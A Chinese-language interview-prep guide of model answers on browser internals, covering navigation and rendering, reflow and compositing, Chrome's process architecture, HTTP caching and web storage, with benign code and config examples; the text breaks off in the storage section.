02-browser
面向大厂前端 P6 / 2-1 级别面试的标准答案。每题结构:【核心答案】(30 秒口述版)→ 【展开】(原理与代码)→ 【追问 & 加分点】。
浏览器原理
面向大厂前端 P6 / 2-1 级别面试的标准答案。每题结构:【核心答案】(30 秒口述版)→ 【展开】(原理与代码)→ 【追问 & 加分点】。
目录
- 1. 从输入 URL 到页面渲染的完整流程
- 2. 回流与重绘:区别、触发条件、合成层的收益与代价
- 3. Chrome 多进程架构与一个事件的完整链路
- 4. 浏览器缓存机制全景
- 5. 本地存储:cookie / localStorage / sessionStorage / IndexedDB
- 6. script 的位置、async / defer、JS 报错对渲染的影响
- 7. XSS 防御体系与 Markdown 渲染场景
- 8. requestAnimationFrame 的执行时机与原理
1. 从输入 URL 到页面渲染的完整流程
【核心答案】
分五个阶段:① 导航前置——地址栏输入解析(判断是搜索词还是 URL)、检查 HSTS 决定是否强制 https、Service Worker 与 HTTP 缓存拦截;② 建立连接——DNS 解析(浏览器缓存 → 系统 hosts/缓存 → 本地 DNS 递归查询 → 根/TLD/权威服务器)、TCP 三次握手(或 QUIC)、TLS 握手(TLS 1.3 一个 RTT,含 SNI 与 ALPN 协商 h2/h3);③ 收发数据——发送 HTTP 请求,网络进程处理重定向、解压、写缓存,把响应流式交给渲染进程;④ 渲染——HTML 解析成 DOM,CSS 解析成 CSSOM,二者合成渲染树,经过布局(Layout)算出几何、绘制(Paint)生成绘制指令列表、分层与光栅化(Raster,在 GPU 进程),最后由合成器(Compositor)把图块合成一帧提交显示;⑤ 收尾——触发 DOMContentLoaded(DOM 就绪 + defer 脚本执行完)与 load(子资源全部加载完),后续脚本继续修改页面触发增量更新。
【展开】
1.1 导航前置
- 地址栏输入处理:判断输入是 URL 还是搜索关键词;补全协议;
chrome://、about:等内部页面走特殊路径。 - HSTS 检查:若域名在 HSTS 预加载列表或有过
Strict-Transport-Security记录,浏览器在发请求前就把 http 改写为 https(307 Internal Redirect),杜绝首次明文跳转的中间人风险。 - beforeunload:当前页面若注册了
beforeunload,浏览器先在旧渲染进程执行它,可能弹确认框。 - Service Worker 拦截:若该作用域注册了 SW 且已激活,
fetch事件优先于网络,SW 可直接从 Cache Storage 返回响应(离线可用的基础)。 - HTTP 缓存查询:命中强缓存直接返回(
from memory cache/from disk cache),完全不发请求。
1.2 DNS 解析
查询顺序(任一层命中就返回):
浏览器内部 DNS 缓存 (chrome://net-internals/#dns)
→ 操作系统缓存 / hosts 文件
→ 路由器缓存
→ 本地 DNS 服务器 (LDNS, ISP 提供) 的缓存
→ 递归查询:根域名服务器 → 顶级域 (.com) → 权威域名服务器- 返回 A(IPv4)/ AAAA(IPv6)记录,可能先返回 CNAME(CDN 调度的常见手段)。
- 优化手段:
<link rel="dns-prefetch" href="//cdn.example.com">提前解析;<link rel="preconnect">更进一步,把 DNS + TCP + TLS 都提前做完。 - DoH/DoT:DNS over HTTPS/TLS,防止 DNS 明文被劫持污染。
1.3 建立连接
- TCP 三次握手:SYN → SYN+ACK → ACK,1 个 RTT。
- TLS 握手:
- TLS 1.2:2 个 RTT(ClientHello/ServerHello + 密钥交换 + Finished)。
- TLS 1.3:1 个 RTT;会话恢复可做到 0-RTT(有重放攻击风险,只能用于幂等请求)。
- 握手中的两个关键扩展:SNI(在加密前告知要访问哪个域名,使一个 IP 能托管多站点;ECH 正在解决其明文泄露问题)、ALPN(协商应用层协议
h2/http/1.1)。
- HTTP/3 / QUIC:基于 UDP,把传输层与加密握手合并,首次连接 1-RTT、恢复 0-RTT,并解决了 TCP 的队头阻塞(HTTP/2 的多路复用在应用层解决了队头阻塞,但底层 TCP 丢包仍会阻塞所有流)。通常通过
Alt-Svc响应头在第二次访问时升级。
1.4 发送请求与响应处理
- 网络进程构造请求行、请求头(含 Cookie、
Accept-Encoding、If-None-Match等)。 - 服务端(常经 CDN → 反向代理 → 应用服务器)返回响应。
- 网络进程处理:
- 重定向(301/302/307/308)→ 重新走 DNS/连接流程。
- Content-Encoding(gzip / br / zstd)解压。
- 按
Cache-Control/ETag写入 memory cache 与 disk cache。 - 按
Content-Type决定后续行为(text/html交给渲染进程解析;application/octet-stream或带Content-Disposition: attachment走下载流程)。注意不是按 URL 后缀判断。
- 浏览器进程根据站点隔离策略决定复用还是新建渲染进程,然后把响应体以数据管道流式交给渲染进程——HTML 边下边解析,不必等全部下载完。
1.5 渲染流水线(Chrome RenderingNG 视角)
HTML 字节流 ──▶ 分词(Tokenizer) ──▶ 构建 DOM 树
CSS 字节流 ──▶ 解析 ──▶ CSSOM(样式规则)
│
▼
① Style 样式计算:为每个元素算出 ComputedStyle
▼
② Layout 布局:生成布局树(LayoutNG),算出每个盒子的位置尺寸
▼
③ Pre-paint 属性树:生成 transform / clip / effect / scroll 四棵属性树
▼
④ Paint 绘制:生成"绘制指令列表"(display list),不产生像素
────────── 以上在渲染进程主线程 ──────────
▼
⑤ Commit 把 display list 与属性树提交给合成线程
▼
⑥ Layerize 分层 + 分块(tiling) ← 合成线程
▼
⑦ Raster 光栅化:把绘制指令变成位图 ← 光栅线程 / GPU 进程
▼
⑧ Draw 生成 draw quads → Display Compositor 合成一帧 → 上屏每一步的关键细节:
- DOM 构建:HTML 解析器边接收字节边分词、边构建树。遇到同步
<script>会暂停 DOM 构建(因为脚本可能document.write)。同时有一个 preload scanner(预加载扫描器) 在主解析器被阻塞时继续扫描后续文本,提前发起img/link/script的下载——这是"脚本阻塞解析但不阻塞资源下载"的原因。 - CSSOM:CSS 不阻塞 DOM 解析,但阻塞渲染(浏览器不愿意渲染无样式内容 FOUC),并且阻塞其后的 JS 执行(因为 JS 可能读
getComputedStyle,必须等 CSSOM 就绪)。所以 CSS 放<head>、JS 放</body>前的经典建议其实来自两条不同的机制。 - 渲染树 / 布局树:
display: none的元素不进入布局树;visibility: hidden进入(占位);伪元素::before/::after有样式但无 DOM 节点,会进入布局树。 - 布局:计算每个盒子在视口坐标系中的位置和大小。LayoutNG 把布局改造成可局部、可复用的算法,减少全局重排。
- 绘制:产出的是绘制指令(display list),类似 "在 (0,0)-(100,50) 画一个圆角矩形,填充 #f00",此时还没有像素。
- 分层:Chrome 自 CompositeAfterPaint(2021) 起,分层决策发生在绘制之后——先记录全部绘制指令,再根据属性树决定切成几个合成层。这与老资料说的"分层在绘制之前"不同,说清楚这一点是明显加分项。
- 光栅化:把每层切成图块(tile,典型 256×256 或 512×512),优先光栅化视口附近的图块;实际执行在 GPU 进程(GPU 光栅化)或光栅线程(软件光栅化)。
- 合成:合成线程为每个图块生成 draw quad,交给 Display Compositor 汇总所有渲染进程 + 浏览器 UI 的图层,产出最终帧,
SwapBuffers送到显示器。这一步不需要主线程参与——所以主线程被 JS 卡住时,用 transform/opacity 做的 CSS 动画和滚动仍可能流畅。
1.6 关键事件时序
| 事件 | 触发时机 |
|---|---|
document.readyState = 'loading' | 开始解析 |
DOMContentLoaded | DOM 解析完成,所有 defer 脚本执行完;不等图片/样式表以外的子资源。注意:解析期间的同步脚本和其前置的 CSS 都会推迟它 |
document.readyState = 'interactive' | 同上时刻 |
load | 所有子资源(图片、iframe、样式表、字体等)加载完成 |
FP / FCP | 首次绘制 / 首次内容绘制(有文字或图片被绘制) |
LCP | 视口内最大内容元素完成渲染(Core Web Vitals 之一) |
【追问 & 加分点】
- "为什么 CSS 会阻塞 JS 执行?"——JS 可以同步读取样式(
getComputedStyle、offsetWidth),若 CSSOM 未就绪读到的值就是错的,所以规范要求同步脚本执行前必须等待其之前的所有样式表就绪。 - "HTTP/2 之后还需要雪碧图和域名分片吗?"——不需要,反而有害。H2 多路复用后并发不再受 6 连接限制,域名分片会增加 DNS/连接开销;雪碧图会破坏缓存粒度。但小图内联(data URI)在极端首屏场景仍偶尔有用。
- "首屏优化你会做哪些事?"——按流水线逐段答:网络层(CDN、preconnect、HTTP/2、Brotli、缓存策略)→ 资源层(关键 CSS 内联、代码分割、
preload关键字体与 LCP 图片、图片格式 AVIF/WebP +loading=lazy)→ 渲染层(避免长任务、SSR/流式 SSR、骨架屏、避免布局抖动降低 CLS)。 - "一次导航一定新开渲染进程吗?"——不一定。同站(same-site)导航在站点隔离策略下可能复用;跨站导航会新建。可通过
chrome://process-internals观察。
2. 回流与重绘:区别、触发条件、合成层的收益与代价
【核心答案】
回流(Reflow / Layout) 是重新计算元素的几何信息(位置、尺寸),代价最大,会连带触发重绘与合成;重绘(Repaint / Paint) 是几何不变、只有外观变了(颜色、背景、阴影、visibility),跳过布局但仍要走绘制与光栅化;只合成(Composite) 是连绘制都跳过,只让合成线程重新变换已有的图层位图——transform 和 opacity 属于这一类,因此动画应优先用它们。三者关系是包含关系:回流 ⊃ 重绘 ⊃ 合成。把元素提升为合成层(will-change: transform、3D 变换等)能让动画绕开主线程,但代价是每层额外占用 宽 × 高 × 4 字节显存 + 层管理与合成开销 + 可能的文字次像素抗锯齿失效,滥用会造成"层爆炸",反而更卡。
【展开】
2.1 三条路径对照
| 变更类型 | 走的流水线 | 典型属性 |
|---|---|---|
| 回流 | Style → Layout → Paint → Composite | width height padding margin border display position top/left font-size line-height float overflow |
| 重绘 | Style → Paint → Composite | color background background-image visibility box-shadow outline border-radius border-style |
| 仅合成 | Composite | transform opacity filter(在合成层上)backdrop-filter |
2.2 回流的触发条件
写操作触发:
- 增删可见 DOM 节点、修改内容(文本变化影响宽度)。
- 改变几何相关 CSS 属性。
- 改变元素的
display(none↔ 其他)、position、float。 - 窗口
resize、屏幕方向变化、字体加载完成(FOUT 导致的重排)、滚动条出现/消失。 - 激活 CSS 伪类(
:hover若改变了尺寸)。
读操作也会触发(强制同步布局 / Forced Synchronous Layout): 浏览器为了性能会把样式变更批量放入队列异步处理,但如果你在修改之后立刻读取某些属性,浏览器为了给出准确值必须立刻执行布局,这就是强制同步布局。触发它的属性/方法:
offsetTop/Left/Width/Height、clientTop/Left/Width/Height、scrollTop/Left/Width/Height
getComputedStyle()(读取需要布局的属性时)、getBoundingClientRect()
getClientRects()、scrollBy/scrollTo/scrollIntoView()、focus()
window.getSelection().getRangeAt()、element.innerText(需要布局才能算可见文本)布局抖动(Layout Thrashing) 就是在循环里交替读写:
// ❌ 每次循环都强制一次同步布局:写 → 读 → 布局,N 次布局
for (const el of boxes) {
el.style.width = el.offsetWidth + 10 + 'px';
}
// ✅ 先批量读,再批量写:只发生 1 次布局
const widths = boxes.map((el) => el.offsetWidth); // 读阶段
boxes.forEach((el, i) => { el.style.width = widths[i] + 10 + 'px'; }); // 写阶段其他优化手段:
// ① DocumentFragment 或离屏节点:一次性插入,只触发一次回流
const frag = document.createDocumentFragment();
for (const item of items) frag.append(createRow(item));
list.append(frag);
// ② 先脱离文档流再改,改完再放回(大量修改时)
const parent = el.parentNode, next = el.nextSibling;
parent.removeChild(el);
heavyMutate(el);
parent.insertBefore(el, next);
// ③ 用 class 一次性切换多个属性,而不是逐条设置 style
el.classList.add('expanded');
// ④ 在 rAF 里做写操作,与浏览器渲染节奏对齐
requestAnimationFrame(() => { el.style.transform = `translateX(${x}px)`; });CSS 侧的隔离手段:
contain: layout paint:告诉浏览器该子树的布局/绘制不会影响外部,把回流范围限制在子树内。content-visibility: auto+contain-intrinsic-size:屏外内容跳过布局和绘制,长列表首屏收益巨大。- 动画元素脱离文档流(
position: absolute/fixed),避免影响兄弟节点布局。
2.3 合成层:如何提升、为何有收益
触发合成层提升(compositing reasons)的常见条件:
- 3D 变换:
transform: translateZ(0)/translate3d(...)/rotate3d(...)。 will-change: transform | opacity | filter(推荐方式,语义明确)。<video>、<canvas>、WebGL 上下文、<iframe>(OOPIF)。- 正在执行
transform/opacity/filter的 CSS 动画或过渡。 position: fixed/sticky(在可滚动容器中)。backdrop-filter、mix-blend-mode(部分情况)。opacity < 1且内容会动。- 隐式提升:某个已提升层的上方(z-index 更高且有重叠)的元素会被迫一起提升——这是层爆炸最常见的成因。
收益: 合成层的位图已经存在于 GPU 中,改变 transform/opacity 只是给合成线程一个新的变换矩阵,完全不经过渲染进程主线程。所以即使主线程被一段 200ms 的 JS 卡住,这类动画依然 60fps 流畅;反之用 left/top 做动画每帧都要主线程回流+重绘,JS 一忙就掉帧。
/* ❌ 每帧回流 + 重绘,走主线程 */
.bad { transition: left .3s; }
.bad.on { left: 200px; }
/* ✅ 仅合成,走合成线程 */
.good {
transition: transform .3s;
will-change: transform; /* 动画开始前提升,结束后应移除 */
}
.good.on { transform: translateX(200px); }代价(这部分才是区分度所在):
- 显存:每个合成层要保存一份位图,占用
宽 × 高 × 4 字节。一个全屏 1920×1080 的层就是 ≈8MB;移动端显存紧张时会导致标签页被杀。 - 层管理开销:层数量增加,合成线程每帧要遍历、排序、计算重叠关系与遮挡剔除,层太多反而拖慢合成。
- 隐式提升引发层爆炸:给一个元素加
translateZ(0),所有在它之上重叠的元素都会被提升,可能一下子多出几十层。用 DevTools 的 Layers 面板和 Rendering → Layer borders 排查。 - 文字渲染质量下降:合成层若背景不透明性无法确定,会关闭次像素抗锯齿(subpixel antialiasing),文字发虚。给层加不透明背景色可缓解。
will-change常驻的浪费:will-change是"提前告知",浏览器会立刻做提升准备。写在常驻 CSS 里等于永久占用资源。正确做法是动画前用 JS 加上、动画结束(transitionend)后移除;或只写在:hover等临近触发的状态上。
el.addEventListener('mouseenter', () => { el.style.willChange = 'transform'; });
el.addEventListener('transitionend', () => { el.style.willChange = 'auto'; });【追问 & 加分点】
- "
transform动画一定不掉帧吗?"——不一定。若动画元素每帧都触发重新光栅化(比如同时改width、内容变化、filter: blur半径变化),仍会有 raster 成本;另外合成线程如果被大量图层或复杂backdrop-filter拖慢也会掉帧。 - "如何量化定位回流问题?"——Performance 面板录制,看紫色的 Layout 条和
Recalculate Style;开启 Rendering → Paint flashing 看重绘区域;Layout Shift Regions看布局偏移;Long Task 与forced reflow警告会直接在 Console 提示"Forced reflow while executing JavaScript took Xms"。 - "
display:none和visibility:hidden和opacity:0有什么性能差异?"——display:none移出布局树(切换时触发回流,但隐藏期间零成本);visibility:hidden仍占位、仍在布局树,切换只触发重绘;opacity:0仍参与布局和绘制,还会响应事件(除非加pointer-events:none),但若在合成层上切换只需合成。 - "CSS 动画和 JS 动画哪个好?"——简单的位移/淡入淡出用 CSS(可跑在合成线程,主线程繁忙也流畅);需要复杂时序、物理效果、随时中断的用 Web Animations API(
element.animate(),兼具合成线程优化与 JS 的可控性);rAF手写动画最灵活但一定在主线程。
3. Chrome 多进程架构与一个事件的完整链路
【核心答案】
Chrome 是多进程架构:浏览器进程(Browser) 负责 UI、导航、权限、进程管理;渲染进程(Renderer) 每个站点一个(Site Isolation),跑 Blink 排版引擎和 V8,运行在沙箱中,无系统权限;GPU 进程 统一处理光栅化与合成,隔离显卡驱动崩溃;网络服务(Network Service) 负责所有网络请求与缓存;此外还有存储服务、音频服务、各类 Utility 进程、扩展进程、插件进程。多进程的收益是稳定性(一个页面崩不影响整个浏览器)、安全性(沙箱 + 站点隔离防御 Spectre 类跨站数据泄露)、并行性,代价是内存占用高和 IPC 通信成本(Chrome 用 Mojo 做 IPC,并有 Site-per-process 之外的内存优化策略)。一个点击事件的链路是:硬件中断 → 驱动 → 操作系统输入子系统 → 浏览器进程 IO 线程 → 浏览器进程 UI 线程做初步路由 → Mojo IPC 发给渲染进程的合成线程 → 合成线程判断该区域是否需要主线程处理 → 需要则转发主线程 → 主线程做命中测试找到目标 DOM 节点 → 构造 Event 对象 → 捕获/目标/冒泡三阶段派发 → 执行 JS 回调 → 微任务检查点 → 若有样式变更则在下一帧走渲染流水线上屏。
【展开】
3.1 进程清单
| 进程 | 职责 | 备注 |
|---|---|---|
| Browser(浏览器主进程) | 地址栏/书签/前进后退等 UI、子进程管理、导航决策、权限弹窗、下载、网络与存储的调度入口 | 只有一个,崩溃 = 浏览器挂掉 |
| Renderer(渲染进程) | HTML/CSS 解析、样式、布局、绘制、V8 执行 JS、DOM | 每个站点一个(Site Isolation);跨站 iframe 用 OOPIF 独立进程;有沙箱 |
| GPU | 光栅化、合成、Display Compositor、WebGL/WebGPU | 只有一个;隔离驱动崩溃 |
| Network Service | DNS、连接、HTTP、缓存、Cookie 访问控制 | 可独立进程也可运行在 Browser 进程内(低内存设备) |
| Storage Service | LocalStorage、IndexedDB、Cache Storage 等 | |
| Utility | 数据解码、CDM、音频、打印等临时任务 | 按需启动 |
| Extension | 扩展的后台脚本(本质是特殊的渲染进程) | 内容脚本跑在目标页的渲染进程里 |
| Plugin / PPAPI | 插件(Flash 已废弃,仅剩少量) |
渲染进程内部的线程:
- 主线程(Main / Blink 线程):解析 HTML/CSS、样式计算、布局、绘制指令生成、执行 JS。所有"卡顿"都是这条线程被占满。
- 合成线程(Compositor):接收输入事件、处理滚动、管理图层、发起光栅化、生成帧。
- 光栅线程(Raster / Worker pool):执行图块光栅化,通常委托 GPU 进程。
- Worker 线程:Web Worker / Service Worker(SW 在独立进程或独立线程)。
- IO 线程:收发 Mojo IPC 消息。
3.2 一个点击事件的完整链路
① 物理层:用户按下鼠标 → 鼠标产生 USB/蓝牙信号 → 主板中断控制器发出硬件中断(IRQ)
② 操作系统:中断处理程序 → HID 驱动解析报文 → 输入子系统
- Windows: Raw Input → 送入目标窗口的消息队列 (WM_LBUTTONDOWN)
- Linux: evdev → X11/Wayland → 客户端事件队列
- macOS: IOKit → WindowServer → 应用事件队列
③ 浏览器进程:UI/IO 线程从 OS 消息队列取出事件
- 判断是否命中浏览器自身 UI(地址栏、标签页)→ 是则自己处理,链路结束
- 否则确定命中哪个标签页 / 哪个 frame
- 通过 Mojo IPC 把事件发给对应渲染进程
④ 渲染进程 · 合成线程(先到这里,不是主线程!)
- 查询"非快速滚动区域 (non-fast scrollable region)"与"事件监听区域"
- 若是滚动/手势且该区域没有注册阻塞式监听器 → 合成线程直接处理,
立即滚动上屏(这就是主线程卡死时页面仍能滚动的原因)
- 否则把事件转发给主线程;转发前会对高频事件做"合并(coalescing)",
多个 mousemove/touchmove 合并成一个,JS 可用 event.getCoalescedEvents() 取回全部
⑤ 渲染进程 · 主线程
- 事件进入主线程的输入任务队列(高优先级)
- 命中测试 (hit test):用属性树/绘制记录反查坐标下最上层的 DOM 元素 → event.target
- 构造 MouseEvent 对象,确定传播路径(从 window 到 target 的祖先链)
- 三阶段派发:捕获(CAPTURING) → 目标(AT_TARGET) → 冒泡(BUBBLING)
- 逐个执行注册的 JS 监听器(同一元素同阶段按注册顺序)
- 回调中可 preventDefault() / stopPropagation() / stopImmediatePropagation()
⑥ JS 执行完毕、调用栈清空 → 微任务检查点(清空 Promise 队列)
⑦ 若回调修改了 DOM/样式 → 标记 dirty → 下一个渲染时机执行
rAF 回调 → 样式计算 → 布局 → 预绘制 → 绘制 → 提交合成线程 → 光栅化 → 合成 → 上屏几个高价值细节:
- 被动监听器(passive):
touchstart/wheel若注册了非 passive 的监听器,合成线程必须等主线程执行完才知道是否preventDefault(),导致滚动延迟。写addEventListener('touchstart', fn, { passive: true })承诺不阻止默认行为,合成线程就能立即滚动。Chrome 已把文档级touchstart/touchmove默认设为 passive。 - 事件与帧对齐:Chrome 把输入事件的派发安排在一帧的开始,与
rAF相邻,这样 JS 改完样式立刻就能在同一帧渲染出来,减少一帧延迟。 - INP 指标:衡量的正是"用户交互 → 下一次绘制"的这整条链路耗时,包含输入延迟(等待主线程空闲)+ 处理时间(JS 回调)+ 呈现延迟(渲染流水线)。所以优化交互响应要三段一起看。
- 站点隔离与 Spectre:即便同一个页面,跨站的 iframe 也放进独立渲染进程,配合 CORB/ORB 阻止跨站敏感响应进入渲染进程内存,从架构上防御侧信道读取。
【追问 & 加分点】
- "为什么主线程卡死时页面还能滚动,但点击没反应?"——滚动可以在合成线程独立完成(前提是无阻塞监听器且不在非快速滚动区域);点击必须做命中测试和 JS 派发,只能在主线程做。
- "iframe 会占用独立进程吗?"——跨站的会(OOPIF),同站的通常与父页面共享渲染进程。这也是为什么第三方 iframe 里的死循环不会卡死主页面。
- "进程多了内存怎么办?"——Chrome 有进程数上限(依据设备内存动态计算),超过后同站页面会共享进程;还有后台标签冻结(Freezing)、丢弃(Tab Discarding)等策略。
- "Mojo 是什么?"——Chrome 新一代 IPC 框架,用
.mojom接口描述语言定义跨进程接口,生成类型安全的胶水代码,取代老的基于消息 ID 的 IPC,支持消息管道与能力传递。
4. 浏览器缓存机制全景
【核心答案】
分两级:强缓存命中时完全不发请求,由 Cache-Control: max-age=N(HTTP/1.1,相对时间,优先级高)或 Expires(HTTP/1.0,绝对时间,受客户端时钟影响)控制,DevTools 显示 from memory cache / from disk cache;强缓存过期后进入协商缓存,浏览器带上校验字段问服务器"变了没",服务器没变则返回 304 Not Modified(无响应体)让浏览器复用本地副本。协商缓存有两组字段:ETag(响应头) ↔ If-None-Match(请求头) 和 Last-Modified(响应头) ↔ If-Modified-Since(请求头),二者同时存在时 ETag 优先级更高。ETag 的值是服务器为该资源版本生成的一个不透明标识符,通常是内容哈希、或 inode-size-mtime 组合、或版本号,格式为带引号的字符串 "33a64df5",前面加 W/ 表示弱校验器。
【展开】
4.1 缓存查找顺序
请求发起
├─ Service Worker(若已注册,可完全接管,从 Cache Storage 返回)
├─ Memory Cache(内存,随标签页关闭而释放,速度最快,不严格遵守 Cache-Control)
├─ Disk Cache(磁盘,跨会话持久,严格遵守缓存头)
├─ (Push Cache —— HTTP/2 Server Push,仅存活于连接期间;该特性已被 Chrome 废弃)
└─ 网络请求4.2 强缓存
Cache-Control 常用指令:
| 指令 | 含义 |
|---|---|
max-age=31536000 | 相对响应时间的新鲜期(秒),优先级高于 Expires |
s-maxage=600 | 只对共享缓存(CDN、代理)生效,覆盖 max-age |
no-cache | 可以缓存,但每次使用前必须向服务器验证(走协商缓存)。不是"不缓存"! |
no-store | 真正的不缓存,任何环节都不许存(用于敏感数据) |
must-revalidate | 过期后必须验证,不允许在服务器不可达时返回陈旧副本 |
immutable | 承诺资源在新鲜期内绝不改变,用户按刷新键也不发验证请求 |
public / private | 是否允许被共享缓存(CDN)存储;带 Cookie 的个性化响应应用 private |
stale-while-revalidate=60 | 过期后 60s 内可先返回陈旧副本,同时后台静默更新(体验最好) |
stale-if-error=86400 | 源站出错时允许返回陈旧副本 |
Expires: 值是 GMT 绝对时间字符串(Expires: Wed, 21 Oct 2026 07:28:00 GMT)。缺陷是依赖客户端本地时钟,用户改系统时间即失效,因此仅作为对 HTTP/1.0 的兼容存在。
启发式缓存: 若响应既无 Cache-Control 也无 Expires,但有 Last-Modified,浏览器会自行推算新鲜期,常见公式为 (Date - Last-Modified) × 10%。这是"没配缓存头却发现资源被缓存了"的原因。
4.3 协商缓存
流程:
首次请求
← 200 OK
Cache-Control: no-cache
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Last-Modified: Tue, 22 Feb 2026 22:00:00 GMT
再次请求(强缓存未命中)
→ GET /app.js
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4" ← 对应 ETag
If-Modified-Since: Tue, 22 Feb 2026 22:00:00 GMT ← 对应 Last-Modified
← 304 Not Modified (无响应体,只有头;浏览器复用本地副本并可更新新鲜期)
或
← 200 OK + 新的完整响应体 + 新的 ETagETag 的值到底是什么:
- 它是一个不透明的(opaque)字符串标识符,由服务器生成,只有服务器需要理解其含义。规范不规定生成算法。
- 常见生成方式:
- 响应体的哈希(MD5/SHA1/xxhash),如 Nginx 之外的应用服务器常用。
- Nginx 默认:
"文件最后修改时间的十六进制-文件长度的十六进制",例如"63f2a1b0-1a2c"。 - 资源版本号 / 数据库行版本。
- 强校验器 vs 弱校验器:
- 强:
ETag: "abc123",表示字节级完全一致,可用于**范围请求(Range)**的续传校验。 - 弱:
ETag: W/"abc123",表示语义等价即可(比如只有注释或空白变了、或经过 gzip 变换)。弱 ETag 不能用于If-Range。
- 强:
- 对应的请求头:
If-None-Match(缓存验证,匹配则 304)、If-Match(用于并发写控制,配合 PUT/PATCH 实现乐观锁,不匹配返回 412 Precondition Failed)、If-Range(断点续传)。
为什么需要 ETag,Last-Modified 不够吗:
Last-Modified的精度只到秒,1 秒内多次修改无法区分。- 文件被重新生成但内容未变(如重新部署、
git checkout)会导致 mtime 变化,白白传一次全量。 - 有些资源是动态生成的,根本没有"修改时间"概念。
- 分布式部署下多台机器的文件 mtime 可能不一致(同理,ETag 在多机部署时也必须保证生成算法一致,否则会反复 200,这是实战中常见的坑;Nginx 默认基于 mtime+size 的 ETag 就有这个问题)。
Vary 头: 告诉缓存"响应会随哪些请求头变化",如 Vary: Accept-Encoding, Accept-Language。缺失 Vary: Accept-Encoding 会导致 CDN 把 gzip 内容返回给不支持压缩的客户端。Vary: * 等于禁止缓存。
4.4 实战策略
# HTML 入口:绝不强缓存,每次校验,保证发版即时生效
location = /index.html {
add_header Cache-Control "no-cache"; # 可缓存但必须验证
}
# 带内容 hash 的静态资源:一年强缓存 + immutable,文件名变了自然就是新资源
location /assets/ {
add_header Cache-Control "public, max-age=31536000, immutable";
}
# 接口:视业务而定,通常不缓存
location /api/ {
add_header Cache-Control "no-store";
}这套 "HTML 不缓存 + 资源永久缓存 + 文件名 hash" 的组合是现代前端的标准解法,同时解决了"更新不生效"和"重复下载"两个矛盾的需求。
刷新行为差异(面试常问):
| 操作 | 行为 |
|---|---|
| 地址栏回车 / 前进后退 / 点链接 | 完整走缓存策略:强缓存 → 协商缓存 |
| 普通刷新(F5) | 对主文档强制走协商缓存(带 Cache-Control: max-age=0),子资源仍可能命中强缓存 |
| 强制刷新(Ctrl+F5 / Shift+刷新) | 请求头带 Cache-Control: no-cache 和 Pragma: no-cache,所有资源都重新拉取,不带条件头 |
| DevTools 勾选 Disable cache | 等同于对所有请求禁用缓存 |
【追问 & 加分点】
- "
Cache-Control: no-cache和no-store区别?"——no-cache是"存但每次要验证"(仍可命中 304,省带宽);no-store是"完全不存"。名字有误导性,这是高频送分/送命题。 - "304 响应会不会更新缓存头?"——会。304 响应中的
Cache-Control、ETag、Expires等头会用于更新本地缓存条目的元数据,等于"续期"。 - "memory cache 和 disk cache 怎么选?"——由浏览器启发式决定:体积小、当前页面正在使用、脚本/字体等更倾向内存;大文件、图片更倾向磁盘。内存缓存对
Cache-Control的遵守不严格(同一页面内重复请求同 URL 常直接复用)。 - "如何让用户立刻拿到新版本?"——① HTML 用
no-cache;② 资源文件名带 contenthash;③ 前端做版本探测(轮询/version.json或用 SW 的updatefound)提示用户刷新;④ Service Worker 里用skipWaiting()+clients.claim()强制接管(注意可能造成新旧资源混用,要配合整体刷新)。 - "CDN 缓存和浏览器缓存怎么配合?"——用
s-maxage单独给 CDN 设更长的时间,浏览器用较短的max-age;发版时调 CDN 的刷新(purge)接口。
5. 本地存储:cookie / localStorage / sessionStorage / IndexedDB
【核心答案】
cookie 容量最小(约 4KB/个)、会随同域请求自动携带(这是它的核心能力也是它的负担),主要用于身份凭证,安全属性有 HttpOnly(禁止 JS 读取,防 XSS 窃取)、Secure(仅 HTTPS)、SameSite(防 CSRF);localStorage 约 5–10MB、同源持久保存、同步 API 会阻塞主线程、只能存字符串;sessionStorage 与 localStorage API 相同,但作用域是同源 + 同一个标签页,标签页关闭即清除;IndexedDB 是异步事务型数据库,容量大(通常按磁盘剩余空间的百分比配额),支持索引、游标、结构化克隆(可直接存 Blob/File/对象),适合大量结构化数据和离线应用。此外还有 Cache Storage(配合 Service Worker 缓存请求响应)和 OPFS(源私有文件系统,高性能文件读写)。
【展开】
5.1 对比表
| 维度 | cookie | localStorage | sessionStorage | IndexedDB |
|---|---|---|---|---|
| 容量 | ~4KB / 每域名 50 个左右 | ~5–10MB | ~5–10MB | 大(配额通常为磁盘可用空间的一定比例,可达数百 MB–GB) |
| 生命周期 | Expires/Max-Age 决定;不设则为会话 cookie | 永久,需手动清除 | 标签页关闭即清除 | 永久,需手动清除 |
| 作用域 | 域名 + 路径(Domain/Path),可跨子域共享 | 同源(协议+域名+端口)严格 | 同源 + 同一标签页 | 同源 |
| 随请求发送 | 是,自动带上 | 否 | 否 | 否 |
| API | document.cookie(字符串拼接,难用)或 CookieStore(异步,新) | 同步 | 同步 | 异步、事务型 |
| 数据类型 | 字符串 | 字符串 | 字符串 | 结构化克隆(对象、Blob、File、ArrayBuffer、Date、Map/Set) |
| 可被 JS 读取 | 取决于 HttpOnly | 是 | 是 | 是 |
| 主线程阻塞 | 轻微 | 是(大数据读写会造成 Long Task) | 是 | 否 |
| Worker 可用 | 否(Worker 无 document) | 否 | 否 | 是 |
5.2 各自的适用场景与要点
cookie
// 服务端下发(推荐这样设置认证态)
// Set-Cookie: token=xxx; Max-Age=7200; Path=/; Domain=example.com;
// HttpOnly; Secure; SameSite=LaxHttpOnly:JS 读不到,XSS 拿不走 token。认证 cookie 必须加。Secure:只在 HTTPS 下发送。SameSite:Strict:完全不随跨站请求发送(连从外站点链接进来都不带,会掉登录态)。Lax(Chrome 默认):跨站的顶级导航 GET 会带,其他(POST、iframe、img、fetch)不带 —— 挡住了绝大多数 CSRF。None:跨站也带,但必须同时加Secure。
Partitioned(CHIPS):第三方 cookie 按顶级站点分区存储,是第三方 cookie 淘汰后的替代方案。- 缺点:每个同域请求(包括图片、CSS)都会携带,多余的 cookie 直接放大每个请求的体积。所以静态资源常放独立域名(cookie-free domain)。
localStorage
// 必须做异常处理:隐私模式、配额超限、被禁用都会抛错
function safeSet(key, value) {
try {
localStorage.setItem(key, JSON.stringify(value));
return true;
} catch (e) {
// QuotaExceededError(Safari 无痕模式配额为 0)、SecurityError(被策略禁用)
console.warn('localStorage 写入失败', e.name);
return false;
}
}
// 跨标签页同步:同源的其他标签页会收到 storage 事件(当前标签页不会收到自己的)
window.addEventListener('storage', (e) => {
if (e.key === 'theme') applyTheme(e.newValue);
});- 适用:用户偏好(主题、语言)、非敏感的小型缓存、表单草稿。
